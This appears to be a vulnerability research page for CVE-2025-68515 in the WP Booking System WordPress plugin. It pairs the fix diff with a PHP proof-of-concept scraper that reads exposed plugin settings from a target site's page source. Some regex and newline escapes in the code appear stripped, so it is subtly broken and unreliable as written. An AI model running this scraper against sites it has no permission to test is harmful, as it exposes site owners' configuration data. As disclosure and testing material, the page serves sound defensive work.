CVE-2025-68515: WP Booking System – Booking Calendar <= 2.0.19.12 – Unauthenticated Information Exposure (wp-booking-system)

--- a/wp-booking-system/wp-booking-system.php
+++ b/wp-booking-system/wp-booking-system.php
@@ -3,7 +3,7 @@
  * Plugin Name: WP Booking System
  * Plugin URI: https://www.wpbookingsystem.com/
  * Description: A set-and-forget booking calendar for your rental business.
- * Version: 2.0.19.12
+ * Version: 2.0.19.13
  * Author: Veribo, Roland Murg
  * Author URI: https://www.wpbookingsystem.com/
  * Text Domain: wp-booking-system
@@ -61,7 +61,7 @@
     {

         // Defining constants
-        define('WPBS_VERSION', '2.0.19.12');
+        define('WPBS_VERSION', '2.0.19.13');
         define('WPBS_FILE', __FILE__);
         define('WPBS_BASENAME', plugin_basename(__FILE__));
         define('WPBS_PLUGIN_DIR', plugin_dir_path(__FILE__));
@@ -487,8 +487,7 @@
         // Plugin script
         wp_register_script('wpbs-script', WPBS_PLUGIN_DIR_URL . 'assets/js/script-front-end.min.js', array('jquery'), WPBS_VERSION, true);
         wp_localize_script('wpbs-script', 'wpbs_ajax', array(
-            'token' => wp_create_nonce('wpbs_form_ajax'),
-            'plugin_settings' => $settings,
+            'token' => wp_create_nonce('wpbs_form_ajax')
         ));

         wp_enqueue_script('wpbs-script');

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68515 - WP Booking System – Booking Calendar <= 2.0.19.12 - Unauthenticated Information Exposure
<?php

$target_url = 'http://example.com/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    // Search for the wpbs_ajax JavaScript object containing the exposed settings
    if (preg_match('/wpbs_ajaxs*=s*({.*?});/s', $response, $matches)) {
        $json_data = $matches[1];
        // Clean the JSON string by removing the trailing comma before closing brace if present
        $json_data = preg_replace('/,s*}/', '}', $json_data);
        
        $data = json_decode($json_data, true);
        
        if (json_last_error() === JSON_ERROR_NONE && isset($data['plugin_settings'])) {
            echo "[+] Vulnerable plugin detected. Exposed settings:n";
            echo json_encode($data['plugin_settings'], JSON_PRETTY_PRINT) . "n";
        } else {
            echo "[-] No exposed plugin settings found in response.n";
            echo "[*] Raw wpbs_ajax object: " . substr($json_data, 0, 500) . "...n";
        }
    } else {
        echo "[-] wpbs_ajax object not found in page source.n";
    }
} else {
    echo "[-] HTTP request failed with code: " . $http_code . "n";
}

?>